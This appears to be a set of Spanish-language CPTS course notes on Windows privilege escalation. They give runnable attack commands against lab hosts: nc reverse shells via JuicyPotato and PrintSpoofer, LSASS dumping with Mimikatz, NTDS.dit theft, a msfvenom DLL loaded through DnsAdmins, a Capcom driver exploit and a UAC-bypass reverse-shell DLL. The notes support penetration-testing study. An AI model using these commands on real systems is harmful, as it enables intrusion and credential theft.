>xp_cmdshell whoami
>xp_cmdshell whoami /priv
![[Pasted image 20260817154630.png]]![[Pasted image 20260817154641.png]]![[Pasted image 20260817154649.png]]![[Pasted image 20260817154655.png]]
Verificamos que tenemos los privilegios de SeImpersonte y SeAssignPrimaryToken
Escalando privs con JuicyPotato
JuicyPotato: para abajo de Windows Server 2019 y Windows 10
nc -nvlp 8443
xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe IP_KALI 8443 -e cmd.exe" -t *
![[Pasted image 20260817155044.png]]
![[Pasted image 20260817155052.png]]
JuicyPotato intenta todos los procesos de creacion de proceso para usar el token obtenido, usa el puerto -l 53375 para realizar la impersonacion y crear un cmd y tras esto ejecuta dentro de ese cmd netcat para comunicarse con nuestro listener y enviarnos un cmd a nuestro puerto
PrintSpoofer y RoguePotato
PrintSpoofer y RoguePotato: para Windows Server 2019 y Windows 10
Escalando privilegios con PrintSpoofer
nc -lnvp 8443
xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"
![[Pasted image 20260817155756.png]]
Con PrintSpoofer generamos un proceso que se ejecuta como SYSTEM
Ejemplo practico
![[Pasted image 20260817161312.png]]
![[Pasted image 20260817161513.png]]
![[Pasted image 20260817161834.png]]
![[Pasted image 20260817161440.png]]
![[Pasted image 20260817161635.png]]
![[Pasted image 20260817161650.png]]
![[Pasted image 20260817161717.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 3. Privilegios De Usuario Windows
3. Sedebugprivilege
Se le asigna a un usuario para ejecutar una aplicacion, servicio o ayudar a la resolucion de problemas en lugar de añadirlo a la cuenta de adminsitradores
Se puede añadir a traves de politicas de grupo locales o de dominio. Por defecto solo esta para administradores ya que se puede capturar informacion sensible de la memoria, acceder al kernel y estructuras de aplicaciones
Si miramos los privs de un usuario con estos privilegios veremos SeDebugPrivilege
whoami /priv
![[Pasted image 20260818144033.png]]
Podemos usar ProcDump para aprovechar este privilegio y hacer un volcado de memoria de un proceso. Un buen candidato es LSASS que almacena credenciales de usuarios despues de que inicien sesion
procdump.exe -acceptula -ma lsass.exe lsass.dmp
![[Pasted image 20260818144147.png]]
Tras esto podemos cargar el dmp en Mimikatz y usar logonpasswords para obtener los NTLM de la cuenta de administrador local y hacer PtH
Si escribimos log antes del comando de Mimikatz se guarda en un .txt
mimkatz.exe
> log
> sekurlsa::minidump lsass.dmp
> sekurlsa::logonpasswords
![[Pasted image 20260818144423.png]]![[Pasted image 20260818144431.png]]
Supongamos que no podemos cargar herramientas en el objetivo pero tenemos acceso via RDP. En ese caso podemos hacer un volcado de la memoria de forma manual:
![[Pasted image 20260818144531.png]]
Ejecucion remota de codigo con SYSTEM
Se lanza un proceso hijo y usando los privs de SeDebugPrivilege alteramos su comportamiento para heredar un token de proceso padre y suplantarlo (apuntariamos a un proceso padre con privs SYSTEM especificando su PID)
script de PoC: lo transferimos al sistema objetivo
Tiene una actualizacion: https://github.com/decoder-it/psgetsystem
- Abrimos un PS como admin (credenciales de jordan)
- Escribimos tasklist
tasklist
![[Pasted image 20260818145157.png]]
Podemos apuntar a winlogon.exe con PID 612 que sabemos que se ejecuta como SYSTEM
- Ejecutamos el scrip
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,"C:\Windows\System32\cmd.exe","")
![[Pasted image 20260818145319.png]]
Podemos usar Get-Process en vez de escribir el PID
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "lsass").Id,"C:\Windows\System32\cmd.exe","")
![[Pasted image 20260818145424.png]]
Otras herramientas
Herramienta: sirve cuando tenemos SeDebugPrivilege. Muchas veces no tendremos RDP por lo que tendremos que modificar el script para que devuelva una reverse shell a nuestro host como SYSTEM o ejecutar otro comando como añadir un administrador
Ejemplo practrico
- Nos unimos via RDP
![[Pasted image 20260818145724.png]]
- Abrimos un PS como administrador
![[Pasted image 20260818145749.png]]![[Pasted image 20260818145804.png]]
- Miramos nuestros privs
![[Pasted image 20260818145839.png]]
- Creamos un archivo dump de lsass
![[Pasted image 20260818150132.png]]
- Con mimikatz lo importamos y vemos el dump
![[Pasted image 20260818150357.png]]
![[Pasted image 20260818150530.png]]![[Pasted image 20260818150617.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 3. Privilegios De Usuario Windows
4. Setakeownershipprivilege
Le da al usuario la capacidad de tomar posesion de cualquier objeto asegurable (secure object), los objetos de AD, archivos/carpetas NTFS, impresoras… Con este priv se asigan el derecho WRITE_OWNER sobre un objeto lo que significa que el usuario puede cambiar el propietario dentro del descriptor de seguridad del objeto
Se asigna a los administradores por defecto
Podemos encontrarnos en un caso donde podemos asignar este privilegio a un usuario que controlemos para leer archivos y directorios confidenciales:
![[Pasted image 20260818151443.png]]
A traves de una GPO:
Configuración del equipo` ⇾ `Configuración de Windows` ⇾ `Configuración de seguridad` ⇾ `Directivas locales` ⇾ `Asignación de derechos de usuario`
![[Pasted image 20260818151639.png]]
Aprovechando el privilegio
Revisnado los privilegios del usuario
whoami /priv
![[Pasted image 20260818151804.png]]
Habilitando SeTakeOwnershipPrivilege
Vemos que no esta habilitado pero podemos usar este script
![[Pasted image 20260818151906.png]]
Eligiendo un archivo objetivo
En este caso nos centraremos un recurso compartido de archivos. Estos suelen tener una parte publica y otra privada. En la parte publica no encontramos nada. Cuando vamos a la parte privada vemos que podemos listar (esta habilitado para todos los usuarios del dominio) pero no podemos leer
Bajo el directorio de IT vimos un archivo llamado cred.txt
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={(Get-Acl $_.Fullname).Owner}}
![[Pasted image 20260818152431.png]]
Comprobando la propiedad del archivo
cmd /c dir /q 'C:\Department Shares\Private\IT'
![[Pasted image 20260818152510.png]]
Vemos que el directorio IT es propiedad de la cuenta de servicio “sccm_svc”
Tomando posesion del archiv
takeown: para cambiar la propiedad del archivo
takeown /f 'C:\Department Shares\Private\IT\cred.txt'
![[Pasted image 20260818152653.png]]
Confirmando el cambio de propiedad
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}
![[Pasted image 20260818152735.png]]
Modificando la ACL del archivo
cat 'C:\Department Shares\Private\IT\cred.txt'
![[Pasted image 20260818152806.png]]
Otorgamos a nuestro usuario privilegios completos sobre el archivo:
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
![[Pasted image 20260818152841.png]]
Leyendo el archivo
cat 'C:\Department Shares\Private\IT\cred.txt'
![[Pasted image 20260818152907.png]]
Archivos locales de interes
![[Pasted image 20260818152936.png]]
Archivos .kbdx (keepass), cuadernos onenote, passwords.*, pass.*….
Ejemplo practico
- Nos conectamos via RDP
![[Pasted image 20260818153505.png]]
- Miramos los privilegios que tenemos y vemos que esta deshabilitado el SeTakeOwnershipPrivilege
![[Pasted image 20260818153634.png]]
- Usamos Enable-Privilege para habilitar los privilegios
![[Pasted image 20260818153824.png]]
- Mirando archivos vimos que no tenemos acceso a uno llamado cred.txt
![[Pasted image 20260818154046.png]]
- Modificamos el propietario a nosotros para poder leerlo. Tambien cambiamos las acls
![[Pasted image 20260818154157.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 4. Grupos De Privilegios Windows
1. Grupos Integrados De Windows (built In Groups)
Lista de grupos integrados de Windows (se incluyen con el SO o se añaden cuando el rol de Servicios de Dominio AD se instala en el sistema):
- Access Control Assistance Operators
- Account Operators
- Administrators
- Allowed RODC Password Replication Group
- Backup Operators
- Certificate Service DCOM Access
- Cert Publishers
- Cert Server Admins
- Cert Requesters
- Cloneable Domain Controllers
- Cryptographic Operators
- Denied RODC Password Replication Group
- Device Owners
- Distributed COM Users
- DnsAdmins
- DnsUpdateProxy
- Domain Admins
- Domain Computers
- Domain Controllers
- Domain Guests
- Domain Users
- Enterprise Admins
- Enterprise Key Admins
- Enterprise Read-Only Domain Controllers
- Event Log Readers
- Group Policy Creator Owners
- Guests
- Hyper-V Administrators
- IIS_IUSRS
- Incoming Forest Trust Builders
- Key Admins
- Network Configuration Operators
- Performance Monitor Users
- Performance Log Users
- Power Users
- Pre-Windows 2000 Compatible Access
- Print Operators
- Protected Users
- RAS and IAS Servers
- RDS Endpoint Servers
- RDS Management Servers
- RDS Remote Access Servers
- Read-Only Domain Controllers
- Remote Desktop Users
- Remote Management Users
- Replicator
- Schema Admins
- Server Operators
- Storage Replica Administrators
- System Managed Accounts Group
- Terminal Server License Servers
- Users
- Windows Authorization Access Group
- WinRMRemoteWMIUsers_
Es necesario conocer las implicaciones de cada grupo por si aparecemos con un usuario miembro de este
Se suelen añadir usuarios a estos grupos para intentar no añadirlos a Domain Admin o Entrepise Admin cumpliendo con el Least Privilege
Backup Operators
Imaginemos que aterrizamos en una maquina y tras hacer:
whoami /groups
Vemos que somos Backup Operators. Los miembros que pertenecen a este grupo tienen ademas los privilegios de forma innherente de:
- SeBackup: nos permite recorrer cualquier carpeta y listar su contenido. Nos permitira copiar un archivo de cualquier ubicacion
- SeRestore
Explotar SeBackup para copiar cualquier archivo
- Importamos los siguientes dll
PoC (prueba de concepto)
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
- Verificamos que tenemos el privilegio:
whoami /priv
![[Pasted image 20260910151937.png]]
- Si esta deshabilitado lo habilitamos
Set-SeBackupPrivilege
Get-SeBackupPrivilege
- Volvemos a comprobar
whoami /priv
![[Pasted image 20260910152124.png]]
- Copiamos un archivo protegido
- Si probamos de manera convencional veremos que no podremos
dir C:\Confidential\
cat 'C:\Confidential\...'
![[Pasted image 20260910152229.png]]
- Si lo copiamos de la siguiente manera seremos capaces
Copy-FileSeBackupPrivilege 'C:\Confidential\...` .\Contract.txt
cat
![[Pasted image 20260910152317.png]]
Atacando al DC con Backup Operator
Este grupo tambien permite loguearse en el DC
Usaremos diskshadow para crear una copia de la unidad C donde se encuentra NTDS.dit y lo expondremos como unidad E
diskshadow.exe
> set verbose on
> set metadata C:\Windows\Temp\meta.cab
> set context clientaccessible
> set context persistent
> begin backup
> add volume C: alias cdrive
> create
> expose %cdrive% E:
> end backup
> exit
dir E:
![[Pasted image 20260910152602.png]]
Copiando NTDS.dit localmente
Copy-FileSeBackupPrivilege E:\Window\NTDS\ntds.dit C:\ntds.dit
![[Pasted image 20260910152818.png]]
Hacemos ademas una copia de seguridad de los hives de registro SAM y SYSTEM para obtener mas credenciales de las cuentas locales usando secretsdump mas tarde de forma offline
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
![[Pasted image 20260910152944.png]]
Si una carpeta o archivo tiene una entrada de denegacion explicita para nuestro usuario actual no podremos acceder a el aunque hagamos esto
Hay 2 formas:
- Con el modulo DSInternals
Import-Module .\DSInternals.psd1
$key = Get-Bootkey -SystemHivePath .\SYSTEM
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
![[Pasted image 20260910153247.png]]
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
![[Pasted image 20260910153339.png]]
Robocopy
robocopy: tambien se puede usar para copiar en modo backup operator. Esta es una herramienta de replicacion de directorios por linea de comandos. Tiene mas funciones que copy:
- Copia multiproceso
- Reintento automatico
- Comprobacion del destino y eliminacion de archivos que no estan en el inicio
- Comparacion de archivos antes de copiarlos para ahorrar tiempos
robocopy /B E:\Windows\CarpetaOrigen .\Carpetadest archivo
![[Pasted image 20260910153640.png]]
`/B es el backup mode`
Ejemplo pracitico
Aprovecha el priv de SeBackupPrivilege para obtener la flag localizada en c:\Users\Administrator\Desktop\SeBackupPrivilege\flag.txt
- Nos conectamos via RDP
![[Pasted image 20260910154110.png]]
- Intentamos leer la flag y vemos que tenemos acceso denegado
![[Pasted image 20260910154148.png]]
- Si miramos nuestros privs vemos que tenemos SeBackupPrivilege
![[Pasted image 20260910154716.png]]
- Importamos los modulos correspondientes y copiamos el archivo usando copy o robocopy
![[Pasted image 20260910155017.png]]![[Pasted image 20260910155023.png]]![[Pasted image 20260910155052.png]]![[Pasted image 20260910155241.png]]
![[Pasted image 20260910155430.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 4. Grupos De Privilegios Windows
2. Event Log Readers
Algunas empresas habilitan el registro de linea de comandos para facilitar al blue team a supervisar e identificar posibles comportamientos maliciosos enviandolos a un SIEM. Estas herramientas marcarian como actividad potencialmente maliciosa comandos como whoami, netstat…
Ademas la empresa podria incluso restringir el uso de comandos especificos con reglas AppLocker
Los Event Log Readers tienen acceso a este registro
- Confirmamos nuestra pertenencia al grupo
net localgroup "Event Log Readers"
![[Pasted image 20260910160233.png]]
Muchos comandos usados en Windows tienen la contraseña en linea de comando, si la auditoria de linea de comando esta habilitada y como Event Log Reader podemos leerla podriamos encontrar algunas credenciales capturadas
2. Consultar los eventos desde linea de comandos: wevtutil y Get-WinEvent
wevtutil qe Security /rd:true /f:text | Select-String "/user"
![[Pasted image 20260910160546.png]]
Tambien podemos especificar credenciales en wevutil usando /u y /p por si fuese necesario:
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"
- Ejemplo con Get-WinEvent filtrando por creacion de eventos (EventID 4688):
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}
-Credential: podemos ejecutarlo como otro usuario
Ejemplo practico
Usando los metodos demostrados en esta seccion, encuentra la pass de mary
- Nos conectamos via RDP
![[Pasted image 20260910162424.png]]
- Miramos el grupo al que pertenecemos y vemos Event Log Readers
![[Pasted image 20260910162503.png]]
- Leemos los logs filtrando por el String /user
![[Pasted image 20260910162622.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 4. Grupos De Privilegios Windows
3. Dnsadmins
Tienen acceso a la informacion de DNS de la red. El servicio DNS de Windows permite usar plugins que se usa para resolver consultas que no estan en el ambito de ninguna zona DNS local
El servicio DNS se ejecuta como NT AUTHORITY\SYSTEM
dnscmd: podemos usar esta herramienta para especificar la ruta de los DLL del plugin
Cadena de ataque cuando DNS se ejecuta en un DC:
- La gestion DNS se realiza sobre RPC
- ServerLevelPluginDLL nos permite cargar una DLL personalizada sin ninguna verificacion de la ruta del DLL usando
dnscmd
- Cuando un miembro de
DnsAdmins ejecuta dnscmd se rellena el hive key “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPlugin”
- Cuando se reinicia el serivicio DNS se carga el DLL en esta ruta (este es un recurso compartido al que la cuenta maquina de DC tiene acceso)
- Un atacante puede cargar una DLL personalizada con un reverse shell o cargar alguna herramienta como Mimikatz
Aprovechando el acceso de DnsAdmins
- Generamos un DLL Maliciosa
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
![[Pasted image 20260910163357.png]]
- Iniciamos un servidor HTTP local
python3 -m http.server 7777
![[Pasted image 20260910163421.png]]
- Descargando el archivo desde el objetivo
wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"
![[Pasted image 20260910163457.png]]
- Cargando la DLL como usuario no priv
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
![[Pasted image 20260910163529.png]]
Vemos que NO tiene exito y solo pueden ejecutarlo lo usuarios pertenecientes a DnsAdmins
5. Comprobando el grupo y cargando la DLL como usuario DnsAdmins
Get-ADGroupMember -Identity DnsAdmins
![[Pasted image 20260910163627.png]]
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
![[Pasted image 20260910163707.png]]
La DLL se cargara cuando se reinicie el DNS. La pertenencia a DNSAdmins no permite reiniciar el DNS aunque es posible que se le haya dado el permiso para hacerlo
Tras el reinicio del DNS cargara el DLL y se habra creado un usuario y obtenido la reverse shell:
Comprobar si nuestro usuario puede reiniciar el DNS
- Comprobando el SID de nuestro usuari:
wmic useraccount where "name='netadm'" get sid
![[Pasted image 20260910163926.png]]
- Comprobando los permisos en el servicio:
sc.exe sdshow DNS
![[Pasted image 20260910164028.png]]
Si tienen RPWP = SERVICE_START y SERVICE_STOP
- Deteniendo el servicio DNS
sc stop dns
![[Pasted image 20260910164232.png]]
Si no funciona
Restart-Service DNS
- Iniciando el servicio DNS:
sc start dns
![[Pasted image 20260910164254.png]]
- Confirmando la pertenencia al grupo (si todo funciona, nuestra cuenta habra sido agregada al grupo Domains Admin tras cargar la DLL)
net group "Domain Admins" /dom
![[Pasted image 20260910164359.png]]
Limpieza
Cambiar la configuracion y reinciar el DNS son acciones destructivas
Estos pasos se deberan hacer con una cuenta elevada
- Confirmando que la hive key fue agregada. Comprobamos que
ServerLevelPluginDll existe. Tendremos que eliminar nuestra DLL para que incie el servicio DNS correctamente:
reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
![[Pasted image 20260910164714.png]]
- Eliminando
ServerLevelPluginDll hive key:
reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
![[Pasted image 20260910164748.png]]
- Iniciando el servicio DNS de nuevo:
sc.exe start dns
![[Pasted image 20260910164812.png]]
- Verificando el estado del serivicio DNS
sc query dns
![[Pasted image 20260910164841.png]]
Usando Mimilib.dll
mimilib.dll: podemos usarlo para modificar el archivo kdns.c y ejecutar un oneliner que puede contener un reverse shell o cualquier cosa
![[Pasted image 20260910165018.png]]
Creando un registro WPAD
DNSAdmins no da la posibilidad de deshabilitar la seguridad de la lista de bloqueos de consultas globales que por defecto bloquearia este ataque
Tras deshabilitar la lista de bloqueo de consultas globales y crear un registro WPAD, cada maquina que ejecuta WPAD con la configuracion predeterminada tendra su trafico dirigido a traves de un proxy en nuestra maquina de ataque
Usaremos Responder o Inveigh para realizar el spoofing del trafico. Con esto podremos capturar hashes o realizar un SMBRelay
- Deshabilitamos la lista de bloqueo de consultas globales
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
- Agregamos un registro WPAD
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3
Ejemplo practico
Aprovecha la membresia de DnsAdmins para escalar privs y sube el contenido de la flag de c:\Users\Administrator\Desktop\DnsAdmins\flag.txt
- Nos conectamos via RDP
![[Pasted image 20260910165822.png]]
- Miramos que somos miembros de DnsAdmins
![[Pasted image 20260910165917.png]]
- Creamos una DLL maliciosa y abrimos un listener HTTP
![[Pasted image 20260910170002.png]]
- Descargamos la DLL maliciosa
![[Pasted image 20260910170044.png]]
- La cargamos en el DNS a traves de serverlevelplugindll
![[Pasted image 20260910170115.png]]
- Verificamos que tenemos permisos RPWP
![[Pasted image 20260910170309.png]]
- Reiniciamos el servidor DNS y vemos que ya somos miembros del Domain Admin porque se ejecuta la DLL
![[Pasted image 20260910171104.png]]
- Nos deslogueamos para que el token se actualice al volvernos al loguear
![[Pasted image 20260910172639.png]]
- Ya podemos leer en Administrators\
![[Pasted image 20260910172649.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 4. Grupos De Privilegios Windows
4. Hyper V Administrator
Tienen acceso completo a las caracteristicas Hyper-V. Si los DC se han virtualizado, entonces estos deben ser considerados como Domain Admins
Podrian crear un clon del DC y montar un disco virtual sin conexion para obtener el NTDS.dit y extraer los hashes NTLM
Si el sistema es vuln a CVE-2018-0952 o CVE-2019-0841, podemos aprovechar para obtener privilegios SYSTEM. De lo contrario podemos aprovechar una aplicacion en el servidor que haya instalado un servicio que ejecuta en SYSTEM y que puede ser iniciado por usuarios sin privs:
Vamos a hacer este ultimo ejemplo con Mozilla Maintenance Service
este exploit
- Tomamos posesion del archivo ejecutando el script PS
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
- Reemplazamos el archivo por un maintenanceservice.exe malicioso, iniciamos el servicio y obtenemos ejecucion como SYSTEM
sc.exe start MozillaMaintenance
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 4. Grupos De Privilegios Windows
5. Print Operators
Otorgo a sus miembro el priv de SeLoadDrivePrivilege que son derechos para administrar, crear y eliminar impresoras conectadas a un DC, capacidad para iniciar sesion localmente en un DC y apagarlo
- Miramos nuestros privs (si SeLoadDrivePrivilege no aparece en un contexto sin privs altos, tendremos que bypassear el UAC)
whoami /priv
![[Pasted image 20260910211921.png]]
UACMe: lista completa de evasiones UAC
- En este caso abriremos una terminal con priv administrativos e introduciremos las creds de un Printer Operator. Si miramos los privs otra vez ahora si lo tendremos:
whoami /priv
![[Pasted image 20260910212051.png]]
- Podemos cargar el driver
Capcom.sys que permite ejecutar un shell SYSTEM con cualquier usuario. Usando nuestros altos privs de Printer Operator podemos cargar el driver para escalar privs
herramienta para cargar el driver
- Lo descargamos localmente y le añadimos los siguientes includes:
#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"
- Desde una cmd de VS compilamos usando cl.exe
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
![[Pasted image 20260910212642.png]]
- Descargamos el drive desde aquí y lo guardamos en C:\temp. Añadimos una referencia a este dirver bajo el arbol de HKEY_CURRENT_USER
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
![[Pasted image 20260910212754.png]]
\??\ usada para referenciar el ImagePath de nuestro driver malicioso
6. Verificar que el driver no esta cargado usando DriverView.exe
.\DriverView.exe /stext drivers.txt
cat drivers.txt | Select-String -pattern Capcom
- Verificamos que el privilegio esta habilitado
EnableSeLoadDriverPrivilege.exe
![[Pasted image 20260910212945.png]]
- Volvemos a verificar pero ahora que el driver si esta cargado
.\DriverView.exe /stext drivers.txt
cat drivers.txt | Select-String -pattern Capcom
![[Pasted image 20260910213036.png]]
- Usamos la herramienta ExploitCapcom para escalar privs despues de compilarla en VS. Lanzara una shell con privs SYSTEM
![[Pasted image 20260910213114.png]]
![[Pasted image 20260910213121.png]]
Explotacion alternativa sin GUI
Tendremos que compilar ExploitCapcom.cpp pero cambiando la linea 292 de “C:\Windows\system32\cmd.exe” por un binario de reverse shell creado por msfvenom por ejemplo c:\ProgramData\revshell.exe:
![[Pasted image 20260910221733.png]]
Despues en nuestra shell de atacante configuramos un listener basado en el payload de msfvenom con msfconsole. Tras ejecutar ExploitCapcom.exe recibiremos la shell
Automatizando pasos
EoPLoadDriver para automatizar el proceso de habilitar el privilegio, crear la hive key y ejecutar NTLoadDriver para cargar el driver:
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys
![[Pasted image 20260910221925.png]]
Tras esto ejecutariamos ExploitCapcom.exe para obtener las shell SYSTEM o ejecutar el binario personalizado
Limpieza
Tenemos que eliminar la hive key que añadimos:
reg delete HKCU\System\CurrentControlSet\Capcom
![[Pasted image 20260910222023.png]]
Esto no es explotable desde la version 1803 de Windows10
Ejemplo practico
Sigue los pasos de la seccion para escalar a SYSTEM y subir la flag en C:\Users\Administrator. Las herramientas necesarias estan cargadas en C:\Tools
- Nos conectamos via RDP
![[Pasted image 20260910222347.png]]
- Tras abrir una terminal como admins vemos que tenemos SeLoadDriverPrivielge
![[Pasted image 20260910222512.png]]
- No nos hace falta compilar EnableSeLoadDriverPrivilege.cpp ni nada porque ya esta descargado
![[Pasted image 20260910222749.png]]
- Creamos una ruta hacia el driver Capcom.sys que ya esta descargado
![[Pasted image 20260910222852.png]]
- Miramos que todavia no este cargado el driver
![[Pasted image 20260910222911.png]]
- Usamos EnableLoadDriverPrivilege para cargar el driver que contendra una linea que nos lanzara la terminal (esto esta dentro de EnabledLoadDriverPriviele.exe)
![[Pasted image 20260910223026.png]]
- Usamos ExploitCapcom.exe para explotar y obtener la terminal de admin SYSTEM
![[Pasted image 20260910223111.png]]
- Recuperamos la flag
![[Pasted image 20260910223211.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 4. Grupos De Privilegios Windows
6. Server Operators
Permite a sus miembros administrar servidores Windows sin necesidad de que se le asignen permisos de Domain Admin. Puede iniciar sesion localmente en servidores incluidos DC
Con este grupo se adquieren privilegios como SeBackupPrivilege y SeRestorePrivilege y la capacidad de controlar los serivicios locales
- Consultamos un servicio como el servicio AppReadiness y vemos que el servicio AppReadiness se inicia como SYSTEM usando
sc.exe
sc qc AppReadiness
![[Pasted image 20260910224303.png]]
- Comprobamos los permisos del servicio con PsService
c:\Tools\PsService.exe security AppReadiness
![[Pasted image 20260910224430.png]]
![[Pasted image 20260910224513.png]]
Aqui podemos ver que Server Operators tiene acceso a SERVICE_ALL_ACCESS del servicio AppReadiness
- Comprobamos la pertenencial al grupo de administradores locales y vemos que nuestro usuario no esta
net localgroup Administrators
![[Pasted image 20260910224629.png]]
- Modificamos la ruta del binario del serivicio para ejecutar un comando que añada nuestro usuario actual al grupo de admins
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
![[Pasted image 20260910224717.png]]
- Al tratar de iniciar el servicio falla lo cual es de esperar pero seremos miembros de Administrators
sc start AppReadiness
![[Pasted image 20260910224750.png]]
net localgroup Administrators
![[Pasted image 20260910224825.png]]
- A partir de aqui tendremos acceso total al DC y podremos hacer tareas de postexplotacion como obtener el NTDS.dit
crackmapexec smb 10.129.43.9 -u server_adm -p 'HTB_@cademy_stdnt!'
![[Pasted image 20260910224930.png]]
secretsdump.py [email protected] -just-dc-user administrator
![[Pasted image 20260910224938.png]]
Ejemplo practico
Escala privilegios con los metodos mostrados en la seccion y sube el contenido de la flag de c:\Users\Administrator\Desktop\ServerOperators\flag.txt
- Nos conectamos con RDP
![[Pasted image 20260910225316.png]]
- Miramos los grupos en los que estamos y vemos que estamos en Server Operators
![[Pasted image 20260910225405.png]]
- Miramos el servicio AppReadiness y vemos que se ejecuta como LocalSystem
![[Pasted image 20260910225451.png]]
- Miramos los permisos que tenemos sobre el y vemos que Server Operators tienen ALL
![[Pasted image 20260910225659.png]]
- Miramos el grupo de administradores, no estamos. Cambiamos la ruta en la que se ejecuta el binario del servicio por una linea que nos mete en Administrators. Al ejecutarlo falla el inicio del servicio pero ahora somos Administrators ya que se ejecuto la linea de comandos con LocalSystem
![[Pasted image 20260910225833.png]]
- Nos deslogueamos y logueamos para que el token de administrators se actualice
![[Pasted image 20260910225846.png]]
- Recuperamos las flag
![[Pasted image 20260910225928.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 5. Atacando El So
1. User Account Control O Uac
Es una caracteristica que habilita un aviso de consentimiento para actividades con privilegios. Cuando UAC esta habilitado, las aplicaciones y tareas se ejecutan bajo el contexto de seguridad de una cuenta sin privs a menos que se autorice explicitamente
Cuando nos logueamos como usuario estandar los procesos se inician con el token de usuario estandar. UAC puede proporcionar derechos de acceso adicionales al token para que se ejecuten los procesos que necesitan privs elevados
![[Pasted image 20260911150030.png]]
Aunque de por si no impida la ejecucion con privs altos, si hace mas ruidosa la ejecucion
La cuenta Administrator RID 500 predeterminada siempre opera en el nivel obligatorio alto
Si el Modo de Aprobacion de Administrador AAM esta habilitado, cualquier nueva cuenta administrador que creemos operara en el nivel obligatorio medio por defecto
En el siguiente ejemplo sarah pertenece a Administrators pero cmd.exe se ejecuta con contexto de un token sin privs:
whoami /user
![[Pasted image 20260911150402.png]]
net localgroup administrators
![[Pasted image 20260911150419.png]]
whoami /priv
![[Pasted image 20260911150435.png]]
- Confirmando que UAC esta habilitado
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
![[Pasted image 20260911150506.png]]
Desde linea de comandos no existe un aviso de consentimiento UAC por lo que tendremos que eludirlo
2. Comprobando el nivel UAC
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
![[Pasted image 20260911150607.png]]
El valor `ConsentPromptBehaviorAdmin` es `0x5`, lo que significa que el nivel más alto de UAC, `Notificar siempre` (Always notify). En este nivel hay menos evasiones
3. Comprobamos la version de Windows:
[environment]::OSVersion.Version
![[Pasted image 20260911150712.png]]
Nos devuelve la version de compilacion. En esta pagina podemos cruzar con la version Windows 1607:
![[Pasted image 20260911150759.png]]
UACME: lista de evasiones de UAC que incluye informacion sobre el numero de compilacion, tecnica usada y si hay parche de Microsoft. En nuestro caso usaremos la tecnica 54:
- En esta usaremos la version de 32 bits del binario SystemPropertiesAdvanced.exe. Hay muchos binarios que Windows permite que se autoeleven sin pasar por UAC. Este binario carga una dll inexistente
srrstr.dll que se usa para Restaurar el sistema. Para localizar la dll Windows usa el siguiente nivel de busqueda:
- Directorio desde el cual se cargo la aplicacion
- Directorio del sistema C:\Windows\System32 para sistemas 64bits
- Directorio del sistema de 16bits C:\Windows\System
- Directorio de Windows
- Cualquier directorio que este listado en la variable PATH
- Revisamos la variable PATH:
cmd /c echo %PATH%
![[Pasted image 20260911151245.png]]
- Realizaremos un DLL hijacking cargando una DLL
srrstr.dll maliciosa en WindowsApps del directorio de Sarah
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll
![[Pasted image 20260911151513.png]]
- Iniciamos el servidor HTTP
sudo python3 -m http.server 8080
- Lo descargamos en el objetivo
